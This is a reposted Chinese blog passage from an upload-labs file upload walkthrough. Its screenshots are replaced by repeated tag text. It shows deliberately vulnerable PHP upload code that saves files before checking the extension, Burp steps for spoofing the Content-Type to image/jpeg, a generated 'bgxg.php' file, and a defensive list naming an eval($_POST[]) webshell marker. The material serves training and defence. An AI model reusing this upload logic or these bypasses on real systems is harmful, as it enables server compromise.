文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

進行測試:

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

然后我們查看有沒有生成的文件成功:(去訪問生成的新文件 bgxg.php)

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

程序代碼:

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允許上傳.jpg|.png|.gif類型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上傳出錯!';
    }
}

(16)涉及到 數組和文件類型 的進行繞過.

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

在上傳時候的打開 Burp 進行抓包.

(1)通過burp抓包,修改文件類型為image/jpeg

(2)添加下面的操作

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全

文件上傳漏洞實戰(zhàn),滲透測試 領域.,Web安全 領域.,# Web安全 OWASP TOP 10,web安全,服務器,安全,網絡安全


文件上傳漏洞的防御:

(1)對文件的后綴 進行檢測.

(2)在前端布置web防火墻,檢測上傳的是否有eval($_POST[])這樣的標記.

(3)文件上傳的目錄設置為不可執(zhí)行(只要web容器無法解析該目錄下面的文件,即使攻擊者上傳了腳本
文件,服務器本身也不會受到影響.)

(4)使用隨機數改寫文件名和文件路徑(文件上傳如果要執(zhí)行代碼,則需要用戶能夠訪問到這個文件)

(5)提高開發(fā)人員的安全意識,尤其是采用PHP語言開發(fā)系統(tǒng)(在程序開發(fā)階段應充分考慮程序的安全性)

(6)應用系統(tǒng)上線后,要增加運維人員的安全意思,積極使用多個安全檢測工具對應用系統(tǒng)進行安全掃描,
及時發(fā)現潛在漏洞并修復.

? ? ? ?

? ? ??

? ? ? ?

參考學習視頻:Upload Labs 文件上傳靶機通關 19.第二十一關【滲透測試學習歷程】_嗶哩嗶哩_bilibili文章來源地址http://www.zghlxwxcb.cn/news/detail-664881.html

到了這里,關于Web安全:文件上傳漏洞測試(防止 黑客利用此漏洞.)的文章就介紹完了。如果您還想了解更多內容,請在右上角搜索TOY模板網以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網!

本文來自互聯(lián)網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。如若轉載,請注明出處: 如若內容造成侵權/違法違規(guī)/事實不符,請點擊違法舉報進行投訴反饋,一經查實,立即刪除!

領支付寶紅包贊助服務器費用

相關文章

  • 你寫的防止任意文件上傳漏洞的代碼,不一定安全

    上傳一個PHP文件,提示文件類型錯誤,使用ApiPost修改上傳的Content-Type,把原先的application/x-httpd-php修改為image/png,則可繞過。 因為: $_FILES[\\\'type\\\']是根據上傳文件的content-type獲取的,并文件本身的mime-type,而content-type又可以被篡改。 說話得有依據,經過反復的追Laravel的源碼:

    2024年02月04日
    瀏覽(20)
  • 【Web安全】文件上傳漏洞

    【Web安全】文件上傳漏洞

    目錄 1. 文件上傳漏洞概述 1.1 FCKEditor文件上傳漏洞 1.2 繞過文件上傳檢查功能 2. 功能還是漏洞 2.1 Apache文件解析 2.2 IIS文件解析 2.3 PHP CGI路徑解析 2.4 利用上傳文件釣魚 ?3. 設計安全的文件上傳功能 文件上傳漏洞是指用戶上傳了一個可執(zhí)行的腳本文件,并通過此腳本文件獲得了

    2024年02月08日
    瀏覽(25)
  • Web安全漏洞介紹及防御-文件上傳漏洞

    Web安全漏洞介紹及防御-文件上傳漏洞

    ??博客主頁:舉杯同慶 – 生命不息,折騰不止 ??訂閱專欄:『Web安全』 ??如覺得博主文章寫的不錯,或對你有所幫助的話,請多多支持呀! ??關注?、點贊??、收藏??、評論。 話題討論 中國經濟周刊-2022-07-08 新聞 萬豪國際集團證實了近期一起數據泄露事件,一個月

    2024年02月02日
    瀏覽(24)
  • Web安全之文件上傳漏洞詳解

    Web安全之文件上傳漏洞詳解

    文件上傳漏洞是指用戶上傳了一個可執(zhí)行的腳本文件,并通過此腳本文件獲得了執(zhí)行服務器端命令的能力。這種攻擊方式是最為直接和有效的,“文件上傳”本身沒有問題,有問題的是文件上傳后,服務器怎么處理、解釋文件。如果服務器的處理邏輯做的不夠安全,則會導致

    2024年02月13日
    瀏覽(27)
  • Web 安全之文件上傳漏洞詳解

    目錄 文件上傳漏洞的類型 文件上傳的攻擊方式 文件上傳漏洞影響 防護措施 小結 文件上傳漏洞是網絡安全中的常見問題,通常發(fā)生在網站或應用程序允許用戶上傳文件到服務器的場景。這類漏洞如果被攻擊者利用,可能導致數據泄露、非法文件分發(fā)、服務器入侵甚至整個系

    2024年02月04日
    瀏覽(31)
  • 23 WEB漏洞-文件上傳之解析漏洞編輯器安全

    各個WEB編輯器安全講解 https://navisec.it/編輯器漏洞手冊/ 各個CMS文件上傳簡要講解 wordpress,phpcms, 參考共享的中間件漏洞PDF IIS6/7簡要說明-本地搭建 Apache配置安全–vulhub Apache解析漏洞-低版本 利用場景: 如果對方中間件apache屬于低版本,我們可以利用文件上傳,上傳一個不識

    2024年02月11日
    瀏覽(31)
  • 《WEB安全漏洞30講》(第5講)任意文件上傳漏洞

    《WEB安全漏洞30講》(第5講)任意文件上傳漏洞

    文件上傳漏洞,指攻擊者利用程序缺陷繞過系統(tǒng)對文件的驗證與處理策略將惡意程序上傳到服務器并獲得執(zhí)行服務器端命令的能力。 這個漏洞其實非常簡單,就是攻擊者給服務器上傳了惡意的木馬程序,然后利用此木馬程序執(zhí)行操作系統(tǒng)命令,從而獲得服務器權限,造成嚴重

    2024年02月12日
    瀏覽(23)
  • 小迪安全33WEB 攻防-通用漏洞&文件上傳&中間件解析漏洞&編輯器安全

    小迪安全33WEB 攻防-通用漏洞&文件上傳&中間件解析漏洞&編輯器安全

    # 知識點: 1 、中間件安全問題 2 、中間件文件上傳解析 3 、 Web 應用編輯器上傳 編輯器也就是第三方插件,一般都是文件上傳漏洞 # 詳細點: 1 、檢測層面:前端,后端等 2 、檢測內容:文件頭,完整性,二次渲染等 3 、檢測后綴:黑名單,白名單, MIME 檢測等 4 、繞過技

    2024年03月16日
    瀏覽(32)
  • 24 WEB漏洞-文件上傳之WAF繞過及安全修復

    24 WEB漏洞-文件上傳之WAF繞過及安全修復

    safedog BT(寶塔) XXX云盾 寶塔過濾的比安全狗厲害一些,在真實情況下現在很多網站都是用寶塔 Content-Disposition: 表單數據,一般可更改 name:表單參數值,不能更改,改完之后,數據包是有問題的,跟前端的表單值會對不上,這樣后端會無法判斷你上傳的地方,如果要更改,那

    2024年02月10日
    瀏覽(21)
  • 33、WEB攻防——通用漏洞&文件上傳&中間件解析漏洞&編輯器安全

    33、WEB攻防——通用漏洞&文件上傳&中間件解析漏洞&編輯器安全

    IIS爆過漏洞的版本:IIS6.0(windows server 2003)、IIS7.0和IIS7.5(windows server 2008) IIS6.0解析漏洞: 文件名:x.asp;x.jpg,jpg的文件后綴名,但是會被解析為asp文件; 目錄名:x.asp/x.jpg, 文件目錄名含有.asp后綴,x.jpg也會被解析為asp文件。 觸發(fā)條件: IIS6.0這個中間件; 上傳文件能不

    2024年01月24日
    瀏覽(31)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領取紅包,優(yōu)惠每天領

二維碼1

領取紅包

二維碼2

領紅包